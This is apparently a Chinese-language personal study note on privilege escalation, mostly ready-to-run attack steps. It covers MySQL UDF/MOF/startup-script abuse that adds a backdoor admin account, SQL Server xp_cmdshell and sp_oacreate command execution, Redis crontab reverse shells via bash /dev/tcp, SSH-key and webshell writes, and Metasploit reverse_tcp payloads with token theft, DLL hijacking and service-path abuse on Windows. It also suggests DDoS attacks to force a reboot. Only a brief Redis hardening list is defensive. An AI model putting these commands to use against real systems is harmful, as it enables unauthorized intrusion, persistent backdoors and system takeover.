Windows提权介绍

#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。


目录

Mysql提权

1、UDF提权:

2、MOF提权:

启动项提权:

Mysql反弹shell提权:

Sql Server 提权

1、使用xp_cmdshell提权:

2、sp_oacreate提权:

沙盒提权:

Oracle数据库提权

redis 提权

1、利用计划任务执行反弹shell

2、写ssh-keygen公钥然后使用私钥登陆

3、往web物理路径写webshell

4、防御手段:

Windows提权

1、本地令牌窃取提权

2、进程提权

3、烂土豆配合令牌窃取提权

4、DLL劫持提权应用配合MSF

5、不带引号服务路配合MSF-web-本地提权

6、不安全的服务权限配合msf---本地提权:


Mysql提权


1、UDF提权:

什么是udf udf = “user defined function”,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就像使用本地MYSQL函数如abs()或concat()。udf在mysql5.1以后的版本中,存在于’mysql/lib/plugin’目录下,文件后缀为’.dll’

如何使用udf? 假设我的udf文件名为‘udf.dll’,存放在Mysql根目录(通过select @@basedir可知)的‘lib/plugin’目录下。在udf中,我定义了名为sys_eval的mysql函数,可以执行系统任意命令。如果我现在就打开mysql命令行,使用select sys_eval(‘dir’);的话,系统会返回sys_eval()函数未定义。因为我们仅仅是把‘udf.dll’放到了某个文件夹里,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。

现在我们已经知道了udf是什么,以及如何引入udf。下面我们要关注的就是提权了。其实到这里,提权已经结束了,因为对于sys_eval()函数,其中的指令是直接以管理员的权限运行的,所以这也就是最高权限了。 下面来整理一下思路:

1、将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下) 2、从udf文件中引入自定义函数(user defined function) 3、执行自定义函数

2、MOF提权:

MOF提权的利用原理是利用c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每隔一段时间(默认5s)都会用系统权限执行一次的特性,来写入cmd命令使其被带入以系统权限执行

MOF提权的使用条件是(较难利用或者说利用较少):

1、secure_file_priv参数不为null

2、有修改nullevt.mof 文件的权限

3、数据库用户具有root权限

MOF提权的步骤是:

有恶意语句的mof文件写入到mof目录下-->系统每隔一段时间自动执行

启动项提权:


0x00 原理

重启服务器会自动调用导入到 C:\Documents and Settings\All Users\「开始」菜单\程序\启动下的VBS脚本,并执行其中的用户添加及提权命令。这个在msf也有对应的模块可以使用,但是对中文路径支持不是特别好,而且还需要等待用户上线才能反弹shell,比较麻烦。

0x01 利用条件

两种情况下均可用启动项提权 1、C:\Documents and Settings\All Users\「开始」菜单\程序\启动 目录可读写 直接将 VBS 提权脚本上传到该目录下

2、以root账号登陆MySQL

0x02 提权关键

启动目录下的vbs脚本

0x03 提权步骤

上传VBS提权脚本到启动目录 VBS 提权脚本代码如下:

setwsnetwork=CreateObject(“WSCRIPT.NETWORK”)
os=”WinNT://”&wsnetwork.ComputerName
Set ob=GetObject(os)
Setoe=GetObject(os&”/Administrators,group”)
Set od=ob.Create(“user”,”quan”)
od.SetPassword “123456”
od.SetInfo
Set of=GetObject(os&“/quan”,user)
oe.add os&“/quan”

将数据库表中内容导入到启动目录

(1)登录mysql

(2)在test数据库下新建表 create table secist(cmd text);

3、插入vbs脚本

insert into secist values(“set wshshell=createobject(“”wscript.shell””)”);
insert into secist values(“a=wshshell.run(“”cmd.exe /c net user quan 123456 /add“”,0)”);
insert into secist values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators quan /add“”,0)”);

4、导出vbs脚本到启动选项

select * from secist into dumpfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\quan.vbs”;

5、利用其他手段使服务器重启后就提权成功了(DDOS,CC攻击等)

Mysql反弹shell提权:


Mysql反弹shell提权,也是属于udf提权,只不过应用场景不同,例如没有得到webshell,但是获得了Mysql的root密码,恰好目标的数据库可以外连,那么就可以先将udf.dll文件的内容先插入到数据表中,然后再导出到’lib/plugin’

使用场景:

取较高权限的,比如获取webshell,或者获取到webshell无法执行高权限命令的。特别是有了SQL执行权限(可读可写),比如SQL注入漏洞、能远程连接数据库,无法验证权限是否提升的,比如你不知道能执行系统命令,却不知道命令是否成功,根本没有一个直接的反馈。又比如你成功创建了一个管理员用户,却发现服务器3389没对你开放或设置了连接的白名单。等等情况。

原理: UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限

利用条件: Mysql版本大于5.1版本。udf.dll文件必须放置于MYSQL安装目录下的’lib\plugin’文件夹下。 Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于’c:\windows\system32’,在windows2000下放置于’c:\winnt\system32’。 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。 可以将udf.dll写入到相应目录的权限。

mysql.txt文件: 使用sqlmap中的lib_mysqludf_sys.dll导出的udf.dll,它里面的函数并没有反弹shell这个函数,我通过在网上查找后,找到了mysql.txt的文件

Sql Server 提权


参考文章:【精选】SQL Server提权总结与记录-xp_cmdshell/sp_oacreate/sandbox提权_creating xp_cmdshell with sp_oacreate_baynk的博客-CSDN博客

sql server提权主要依赖于sql server自带的存储过程

1、使用xp_cmdshell提权:

扩展存储过程中xp_cmdshell是一个开放接口,可以让SQLserver调用cmd命令。此存储过程在SQLserver2000中默认开启,2005本身及之后的版本默认禁止,所以想要使用该存储过程,就需要拥有SA账号相应权限,使用sp_configure将其开启。

2005的xp_cmdshell的权限一般是system,而2008多数为nt authority\network service。

所以xp_cmdshell提权的前提为:

1、拿到sa权限的账户密码

2、sql server 服务未降权

连接数据库后,先检查xp_cmdshell是否存在。

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

结果为1,则证明存在。当结果为0时,可以通过下列命令恢复

如果xp_cmdshell被删除,则可以通过下列命令重新加载。

dbcc addextendedproc("xp_cmdshell","xplog70.dll");

如果连xplog70.dll也被删除,则可以通过下列命令恢复(未验证)

exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';

当通过xp_cmdshell执行命令时,出现下列错误时,

-2147217900:[Microsoft][ODBC SQL Server Driver][SQL Server]SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 

可以通过下列语句开启xp_cmdshell

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE

使用xp_cmdshell的方式为

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE

2、sp_oacreate提权:

sp_oacreate可以删除、复制、移动文件,还能配合sp_oamethod来写文件执行cmd。

sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言,换言之就是xp_cmdshell能执行的sp_oacreate+sp_oamethod同样能胜任。但是使用此方法时sp_oacreate没有回显,所以一般用于xp_cmdshell无法使用时。

以下命令用来开启sp_oacreate,不开启的话同样会有阻止组件的报错。

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures',1;RECONFIGURE     

提权命令如下

declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add';
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test /add'

原文链接:【精选】SQL Server提权总结与记录-xp_cmdshell/sp_oacreate/sandbox提权_creating xp_cmdshell with sp_oacreate_baynk的博客-CSDN博客

沙盒提权:

Windows 2008以上 默认无 Access 数据库文件, 需要自己上传 sqlserver2015默认禁用Ad Hoc Distributed Queries,需要开启。

当执行命令方法无法使用时,可以使用沙盒进行提权。

沙盒模式SandBoxMode是一种安全功能。在沙盒模式下,Access只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。例如,诸如Kill和Shell之类的函数可能被用来损坏计算机上的数据和文件,因此它们被视为不安全的。当Access以沙盒模式运行时,调用这些函数的表达式将会产生错误消息。

OLE DB Driver for SQL Server是用于访问数据的底层COM API,是应用程序链接到SQL Server的的驱动程序。

本质是修改注册表,默认情况下,注册表中mdb数据库不允许执行系统命令,但是开启沙盒模式,就准许mdb文件执行数据库,通过查询方式调用mdb文件,执行参数,绕过系统本身自己的执行命令,实现mdb文件执行命令。

提权命令如下:

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("whoami")')

没有开启的话报错,通过下面命令开启组件

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;

没有报错,说明执行成功,没有回显,可以通过之前的办法将加显写入文本后读取即可

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("C:\\windows\\system32\\cmd.exe /c whoami > C:\\Inetpub\\wwwroot\\1.txt")')

Oracle数据库提权


jsp网站 后门不需要提权,自带system权限

利用工具 oracleshell 作者 :冰蝎

redis 提权


结合redis未授权漏洞进行提权。

参考文章1:https://blog.csdn.net/fly_hps/article/details/80937837

参考文章2:【精选】redis漏洞利用总结-CSDN博客

提权方式:

1、利用计划任务执行反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell

先在自己的服务器上监听一个端口

nc -lvnp 7999

然后执行命令:

root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK

此处使用bash反弹shell,也可使用其他方法

2、写ssh-keygen公钥然后使用私钥登陆

在以下条件下,可以利用此方法

  • Redis服务使用ROOT账号启动

  • 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

首先在本地生成一对密钥:

root@kali:~/.ssh# ssh-keygen -t rsa

192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK

192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"

OK
192.168.63.130:6379> save
OK

save后可以直接利用公钥登录ssh

3、往web物理路径写webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell

执行以下命令

192.168.63.130:6379> config set dir /var/www/html/
OK
192.168.63.130:6379> config set dbfilename shell.php
OK
192.168.63.130:6379> set x "<?php phpinfo();?>"
OK
192.168.63.130:6379> save
OK

即可将shell写入web目录(web目录根据实际情况)

4、防御手段:

绑定需要访问数据库的IP。 将127.0.0.1修改为需要访问此数据库的IP地址。

设置访问密码。在 Redis.conf中requirepass 段后,设置添加访问密码修改Redis服务运行账号。

以较低权限账号运行Redis服务,禁用账号的登录权限

Windows提权


1、本地令牌窃取提权

普通用户--->system/admin(低版本win)

利用msf生成木马,利用过程如下:

msfconsole                                         # 在命令行里面输入命令,进入msf漏洞利用框架;
use exploit/multi/handler                          # 监听木马反弹过来的shell
msset payload windows/meterpreter/reverse_tcp      # 设置payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload;
set lhost x.x.x.x                                  # 我们的kali本机ip
set lport xx                                       # 我们的kali本机端口
exploit                                            # 开始进行监听;

生成木马上传到服务器

msfvenom -p  windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xx -f exe -o /root/xx.exe

监听会话后,利用msf的incognito模块进行提权

use incognito # 加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
list_tokens -u # 列出目标机器用户的可用令牌
impersonate_token "NT AUTHORITY\SYSTEM"

2、进程提权

利用工具pinjector进程注入工具(2008之前)

用命令获取当前进程列表及其权限

获取PID值后执行命令,在本地开放8888端口,对应为cmd.exe,当有人连接这个端口,就会将cmd.exe反弹(利用nc)

pexec64 32进程注入工具(2008及之后)

配合一些查看进程工具利用,如Proess Explorer、火绒剑

博客地址:C/C++ 进程代码注入&提权&降权 - lyshark - 博客园 (cnblogs.com)

3、烂土豆配合令牌窃取提权

过程:上传烂土豆--->执行烂土豆--->利用窃取模块--->窃取System成功

msfconsole
msf生成win木马并通过webshell上传
use exploit/multi/handler  #载入监听模块
set payload windows/meterpreter_reverse_tcp   #设置payload
设置LHOST、LPORT
run
通过webshell执行木马exe程序
msf反弹会话
upload /root/potato.exe c:/   #上传烂土豆到目标机器中的C:/目录下
use incognito # 加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
list_tokens -u # 列出目标机器用户的可用令牌 
execute -cH -f c:/potato.exe # 创建新的进程 
list_tokens -u impersonate_token "NT AUTHORITY\SYSTEM"

总结:需要web权限,通过烂土豆配合令牌窃取使web权限提升到system权限。

4、DLL劫持提权应用配合MSF

不足:需要有特定软件且管理员常用

过程:信息收集(服务器第三方软件信息)--->进程调试(分析程序运行会调用什么dll)--->制作dll并上传--->替换dll并启动

信息收集:

进程调试:

本地下载服务器程序,例如图中的flashfxp,然后利用进程工具查看相关信息(火绒剑、PCHunter等)

通常来说是不利用系统文件的dll去替换,利用数字签名文件

制作dll并上传:

msfvenom -p windows/meterpreter/reverse_tcp lhost=x.x.x.x lport=xx -f dll > /opt/xxx.dll    

管理员启动软件,将会自动调用dll文件,在msf监听后,由于会话的权限为administered,因此可以直接使用令牌窃取。

getuid 
use incognito # 加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
list_tokens -u # 列出目标机器用户的可用令牌
impersonate_token "NT AUTHORITY\SYSTEM"

5、不带引号服务路配合MSF-web-本地提权

原理: 当windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

过程:检测引号服务路径--->利用路径制作文件并上传--->启用服务或重启--->调用后成功

利用:

在webshell中输入命令

wmic service get name,displayname,pathname,starmode |findstr /i "Auto" |findstr /i /v "c\\Windows\\" |findstr /i /v """

 

可以看到上面两个服务的路径都是没有引号且存在空格。因此我们可以配合MSF上传名字为program.exe的木马。当系统启动时,会自动开启这些服务对应路径的exe文件,或这通过webshell开启对应服务,net start “服务名”。当MSF监听到服务器的回应时,发现系统权限大概率为system,因为系统自动开启服务默认是system权限开启的。

6、不安全的服务权限配合msf---本地提权:

前提,管理员存在配置错误,或使用存在配置错误的第三方软件提供的服务

原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。Windows服务有时被配置为与服务本身或与服务运行的目录相关的弱权限。这可能允许攻击者操纵服务,以便在其启动时执行任意代码,并将权限提升到SYSTEM。

过程:检测服务权限配置--->制作文件并上传--->更改服务路径指向--->调用后成功

accesschk.exe -uwcqv "administrators" *  #检测是否存在admin权限的服务
sc config "NewServiceName" binpath="c:\test.exe"  #修改该服务的执行程序
sc start "NewServiceName"   #启动服务

在靶机执行accesschk.exe -uwcqv "administrators" *,查找administrators权限,会输出服务和服务对应的权限,提示Invalid account name:xxx 表示没有这个权限所对应的服务

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值